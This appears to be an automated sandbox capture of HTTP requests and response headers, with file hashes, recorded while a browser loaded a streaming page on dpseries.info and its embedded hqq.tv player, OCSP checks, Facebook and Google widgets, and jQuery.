                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=119924
Date: Fri, 09 Nov 2018 15:49:35 GMT
Etag: "5be4c6fd-1d7"
Expires: Sun, 11 Nov 2018 01:08:19 GMT
Last-Modified: Thu, 08 Nov 2018 23:30:05 GMT
Server: ECS (ska/F6FE)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    99718a4b8de106935e488239931ba440
Sha1:   581e406b7ffd7fe49e8d09d2cc63efe24e710f9c
Sha256: 7e4369a864612625420656da0338ac65d2b32898c4b924677f2728f963a33ccd
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=87595
Date: Fri, 09 Nov 2018 15:49:35 GMT
Etag: "5be43807-1d7"
Expires: Sat, 10 Nov 2018 16:09:30 GMT
Last-Modified: Thu, 08 Nov 2018 13:20:07 GMT
Server: ECS (ska/F704)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    e275255a54a69bbb77b695c2143899ea
Sha1:   b6de27e04588f9af82bb8d90c541750613075b5c
Sha256: 6c9ee1669dc00ae71ddf353e30a63fb6e7dc0051afa7fb41e29c8e10a14377ca
                                        
                                            GET /player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no HTTP/1.1 
Host: hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         104.23.132.67
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575; expires=Sat, 09-Nov-19 15:49:35 GMT; path=/; domain=.hqq.tv; HttpOnly
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.45-0+deb7u14
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block;
P3P: policyref="http://www.example.com/w3c/p3p.xml", CP="CURa ADMa DEVa CONo HISa OUR IND DSP ALL COR"
X-Frame-Options: ALLOWALL
Link: <//c.hqq.tv>; rel=preconnect; crossorigin, <//cdnjs.cloudflare.com>; rel=preconnect; crossorigin, <//cdn.jsdelivr.net>; rel=preconnect; crossorigin, <//imasdk.googleapis.com>; rel=preconnect; crossorigin
Cache-Control: public
Expires: Fri, 09 Nov 2018 16:45:49 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
content-security-policy: upgrade-insecure-requests
Content-Encoding: gzip
X-Cache-Status-Inferno: HIT
CF-Cache-Status: MISS
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e23ff77428b-OSL


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   13847
Md5:    d0ce2b10d7dab7e40eb405607f3ad675
Sha1:   9811fc64bfcad375d50a2a94498d985ab804b68c
Sha256: 41ef8030600403585c2c63f4779b18f818e532bedd388aabe2c19c2e38198665
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca4.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 116
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Sun, 04 Nov 2018 14:24:23 GMT
Etag: 9FB63917E37C3225D4DB8BA2F01288ED865E3FAE
X-OCSP-Responder-ID: rmdccaocsp24
Content-Length: 472
Cache-Control: public, no-transform, must-revalidate, max-age=167096
Expires: Sun, 11 Nov 2018 14:14:32 GMT
Date: Fri, 09 Nov 2018 15:49:36 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   472
Md5:    46967ac355c40d07d2aee164da229b45
Sha1:   9fb63917e37c3225d4db8ba2f01288ed865e3fae
Sha256: dd9b214dfbcc6632e0d220036e56683348e3c5891dbbbdcc84677d1e3fa5b7c2
                                        
                                            GET /text.php?site=23733598&ref= HTTP/1.1 
Host: www.noowho.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         94.23.196.203
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Date: Fri, 09 Nov 2018 15:50:45 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Connection: close
Set-Cookie: a=1; expires=Sat, 10-Nov-2018 15:50:46 GMT; Max-Age=86400
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 170


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   170
Md5:    a8b9e4e8e894489264f0178dea162ad7
Sha1:   858e5cb3f527dd5a9d8fd71e50946f7adf30b588
Sha256: 823a6258eb29d666675432465b3db2b956ebe7c4bbc7e94851591e3e8f5dd5ca
                                        
                                            GET /plugins/like.php?locale=fr_FR&href=http%3A%2F%2Fdpseries.info%2Fpower-saison-1%2F&send=false&layout=standard&width=420&show_faces=false&action=like&colorscheme=dark&font&height=35 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         31.13.72.36
HTTP/1.1 200 OK
Content-Type: text/html; charset="utf-8"
                                        
X-XSS-Protection: 0
Vary: Accept-Encoding
Pragma: no-cache
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';report-uri https://www.facebook.com/csp.php
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Encoding: gzip
strict-transport-security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Expires: Sat, 01 Jan 2000 00:00:00 GMT
X-FB-Debug: mSf/DtZ1NBbkN9GIPyrcutN7s3GHQTESeYO/rL1kSJGnfoyiXwLFWiWbhW7yUV4Ib7PiJMqtQc5lGpEvPt9NLQ==
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3669
Md5:    8b09139cd925d5917a3cdaf2219681a1
Sha1:   f8eb0de31b90918768cc7e0fd8bd9ec2c22b175d
Sha256: 9bb26221361d098a2ef3fa80c2aba72e2d1aa32afe09e153a31bf74aed3caab2
                                        
                                            GET /js/betterj/license.hqq.tv.js?5 HTTP/1.1 
Host: hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.132.67
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Content-Length: 178
Connection: keep-alive
Location: https://c.hqq.tv/js/betterj/license.hqq.tv.js?5
Expires: Fri, 09 Nov 2018 15:49:35 GMT
Cache-Control: no-cache, no-cache
Set-Cookie: gip=no;Path=/;Max-Age=60
Pragma: no-cache
X-Cache-Status-Inferno: MISS
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e24b808428b-OSL


--- Additional Info ---
Magic:  HTML document text
Size:   178
Md5:    cd2e0e43980a00fb6a2742d3afd803b8
Sha1:   81ffbd1712afe8cdf138b570c0fc9934742c33c1
Sha256: bd9df047d51943acc4bc6cf55d88edb5b6785a53337ee2a0f74dd521aedde87d
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    732f9bfaf49a37f25f0dd8293d18112c
Sha1:   bd0fd6a747b66016b87cf41da09e33f9f2b8e2f4
Sha256: ca7798d02fe16adf0ecb718c37241cce42d18dbb8fd118fca2696ab5252dde7a
                                        
                                            GET /js/embed_st.js?30 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=4450
Etag: W/"5bdc6a26-1162"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Fri, 02 Nov 2018 15:15:50 GMT
Pragma: cache
Vary: Accept-Encoding, Accept-Encoding
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e265e3f4261-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1644
Md5:    3eb144a1a754919937858c54743df915
Sha1:   90b08a1d1493f91fb9ccf27d7ca599dbf5006c23
Sha256: b22071a9ea03a8df94f6b155fe5dbf422ba5c054ab4db3a25bf7efefa0f1eb8e
                                        
                                            GET /js/video.embed_day_counter.js HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=2698
Etag: W/"592af084-a8a"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Sun, 28 May 2017 15:45:08 GMT
Pragma: cache
Vary: Accept-Encoding, Accept-Encoding
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e265df142a9-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   640
Md5:    9be7c15b5b3682fd0c1439d440e585dd
Sha1:   0ae7a5771b6542851921f82cb190dc0d4b11e21e
Sha256: 527201b28b867f6c1c240c03c2702438cc08a3fb8b8d98bb1388db9cbaa27271
                                        
                                            GET /recaptcha/api.js?render=6Ldf5F0UAAAAALErn6bLEcv7JldhivPzb93Oy5t9 HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         216.58.209.132
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Expires: Fri, 09 Nov 2018 15:49:36 GMT
Date: Fri, 09 Nov 2018 15:49:36 GMT
Cache-Control: private, max-age=300
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   493
Md5:    f8a786cb910c180146ca59d3bdbf5a8c
Sha1:   ecfa5416d9fa39b0399b0a5bb7e05aaecb2faa08
Sha256: a134cd0360cc05bfc760e242673af5968803953bb220fad2f437d8c8836448b1
                                        
                                            GET /rsrc.php/v3/y-/l/0,cross/78y96CWUUyK.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like.php?locale=fr_FR&href=http%3A%2F%2Fdpseries.info%2Fpower-saison-1%2F&send=false&layout=standard&width=420&show_faces=false&action=like&colorscheme=dark&font&height=35

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Timing-Allow-Origin: *
Expires: Wed, 06 Nov 2019 11:36:52 GMT
Content-MD5: sb46BK6m2nczg5N6LURkhA==
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
X-FB-Debug: kNIhJUxIzgdmqLpqn8/iZVD9ehcWvVHhitsotxWciAoxpIY4uESrJp/komd1YSUyOSt27jy2ee5EUQA1xsLu4w==
Date: Fri, 09 Nov 2018 15:49:36 GMT
Connection: keep-alive
Content-Length: 10373


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   10373
Md5:    b1be3a04aea6da773383937a2d446484
Sha1:   4abd46baac77bbacbabd9be9922f069184ead338
Sha256: d727366d2430b67fadc5ae213d36f07e21510d0da19f3578052574c391fb369c
                                        
                                            GET /js/video.counters.js?11 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=250
Etag: W/"592af0cb-fa"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Sun, 28 May 2017 15:46:19 GMT
Pragma: cache
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 47716e268e5d4261-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   183
Md5:    e0958208b6103e7e33b476cd816f83bf
Sha1:   3c519aa8381d5005e224aa1da8b1faf77bc93aab
Sha256: 2b3abd0d4e7afe498b109ba1f7c5c93933d8c6c81756daba2340c57e5918a3a5
                                        
                                            GET /js/video.gcounter.js HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=489
Etag: W/"592af0dd-1e9"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Sun, 28 May 2017 15:46:37 GMT
Pragma: cache
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 47716e268e2542a9-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   282
Md5:    65f0387957e7a9f058e2e53e2a533c13
Sha1:   df2f5ef90664fe260925e4f3a8c2b219637059c7
Sha256: 519f1267721ffc9fe7cdc8b4e599bd24403e8002d753510e3d2675e4525900e1
                                        
                                            GET /js/video.counters.js?12 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=250
Etag: W/"592af0cb-fa"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Sun, 28 May 2017 15:46:19 GMT
Pragma: cache
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 47716e26ce8f4261-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   183
Md5:    e0958208b6103e7e33b476cd816f83bf
Sha1:   3c519aa8381d5005e224aa1da8b1faf77bc93aab
Sha256: 2b3abd0d4e7afe498b109ba1f7c5c93933d8c6c81756daba2340c57e5918a3a5
                                        
                                            GET /ajax/libs/jquery/1.11.2/jquery.min.js HTTP/1.1 
Host: cdnjs.cloudflare.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         104.19.195.151
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Tue, 14 Nov 2017 00:30:24 GMT
Expires: Wed, 30 Oct 2019 15:49:36 GMT
Cache-Control: public, max-age=30672000
Access-Control-Allow-Origin: *
Content-Encoding: gzip
CF-Cache-Status: HIT
strict-transport-security: max-age=15780000; includeSubDomains
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 47716e26585e426d-OSL


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   33567
Md5:    39ef7bf82a8d67734220084343fcb3c9
Sha1:   330a4e3c8d5e5c79a75b927d7465b864212bb6cc
Sha256: 7b0c147c3b96357cc3ff4b49478ba61732de304a6219345c0a13c4b2601ad763
                                        
                                            GET /js/d_check.js?8 HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: minify
Cf-Polished: origSize=3268
Etag: W/"5a8ac6ea-cc4"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Mon, 19 Feb 2018 12:45:30 GMT
Pragma: cache
Vary: Accept-Encoding, Accept-Encoding
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e26c9cc428b-OSL
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   936
Md5:    9bb5115ae6a616bccf1a40c95d57562f
Sha1:   83e81aba3930aeb5290b7c18d7aab6d9d6d3eb70
Sha256: 06ccde7a7a010e1e2f2d3079bb24324e1b79423165ad15dd2a2503da6e96efa6
                                        
                                            GET /player/cbplayer/images/close-button.png HTTP/1.1 
Host: c.hqq.tv
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no
Cookie: __cfduid=dccb88b3d6962899f2a4927813d6586a61541778575

                                         
                                         104.23.131.67
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=2678400
Cf-Bgj: imgq:100
Cf-Polished: origSize=2860, err=vary_header_present
Etag: W/"51af5a96-b2c"
Expires: Mon, 10 Dec 2018 15:49:36 GMT
Last-Modified: Wed, 05 Jun 2013 15:34:46 GMT
Pragma: cache
Vary: Accept-Encoding, Accept-Encoding
X-Cache-Status: HIT
CF-Cache-Status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 47716e270eb24261-OSL


--- Additional Info ---
Magic:  PNG image, 9 x 9, 8-bit/color RGBA, non-interlaced
Size:   190
Md5:    ce6a34d8b9ee9321ac68055e913ac1e0
Sha1:   17ae96976ffc517b49ed6da1f06f345edbf61d5a
Sha256: f674317ff4160aa2a31b7d84eea1fde80d97461de89dd1d072cc8267857d25c6
                                        
                                            GET /ajax/libs/jquery-cookie/1.4.1/jquery.cookie.min.js HTTP/1.1 
Host: cdnjs.cloudflare.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://hqq.tv/player/embed_player.php?vid=E2JjsWxO3PNT&autoplay=no

                                         
                                         104.19.195.151
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
Date: Fri, 09 Nov 2018 15:49:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Tue, 14 Nov 2017 00:30:21 GMT
Expires: Wed, 30 Oct 2019 15:49:36 GMT
Cache-Control: public, max-age=30672000
Access-Control-Allow-Origin: *
Content-Encoding: gzip
CF-Cache-Status: HIT
strict-transport-security: max-age=15780000; includeSubDomains
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 47716e270c4042a3-OSL

